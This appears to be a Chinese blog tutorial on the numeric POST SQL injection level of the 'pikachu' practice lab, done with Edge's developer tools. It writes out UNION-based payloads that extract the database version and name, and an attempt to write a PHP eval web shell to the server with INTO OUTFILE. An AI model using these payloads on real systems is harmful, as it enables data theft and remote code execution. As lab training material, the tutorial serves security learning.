pikachu SQL注入系列(post篇),无需额外工具,使用Edge浏览器自带工具注入

目录

一、首先来到 pikachu 的 SQL-inject 界面,选择 “数字型注入(post)”

 二、使用 Edge 自带工具进行抓包


一、首先来到 pikachu 的 SQL-inject 界面,选择 “数字型注入(post)”

 二、使用 Edge 自带工具进行抓包

我们可以发现这样一个post请求,我们看一下请求数据

我们再次使用 edge携带的默认工具,选择编辑并重新发送

点击body

此时我们不知道他的列数(但如果是比较有经验的就可以通过他的返回:hello, xxx
your email is: xxx 猜出至少有两列),但我们这就先用一列试试

我们目前猜测他使用的 sql 语句是:

SELECT [第一列],[第二列] FROM [表] WHERE id = 注入点 [...]

所有我们可以改成:

SELECT [第一列],[第二列] FROM [表] WHERE id =  3 union select 1 -- - [...]

“--[空格]” 在sql 中是单行注释,是为了防止后面有其他我们未知的语句,在我们注入后形成语法错误而导致报错!红色背景部分就是我们注入的语句

然后修改id,发送请求

发现报错,不止一列,那就再次修改(为了方便结果中查找,我就 ctrl+F 搜了一下 hello)

现在结果对了,那我们就可以试试我们想得到的数据

SELECT [第一列],[第二列] FROM [表] WHERE id =  3  union select version(),database() -- - [...]

这样就能同时查询到数据库版本和数据库信息了,但是前面正常的 id=3 的查询比较干扰我们的结果,我们可以通过后面加上 and 3=4 让他恒不成立,来达到只输出我们想要的信息

SELECT [第一列],[第二列] FROM [表] WHERE id =  3  and  3=4 union select version(),database() -- - [...]

这样因为3=4不成立,这样输出的结果只剩下我们要的数据库版本数据库名

想试着写入一句话木马。结果出现了“The MySQL server is running with the --secure-file-priv option so it ”

语句:

 3 and 3=4 union select 1,"<?php eval($_POST['cmd']);?>" into outfile "shell.php" -- -

出现错误原因是“secure_file_priv的值为null,表示禁止导出”

具体可以参考:

解决“MySQL server is running with the --secure-file-priv option so it cannot execute this statement”问题

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值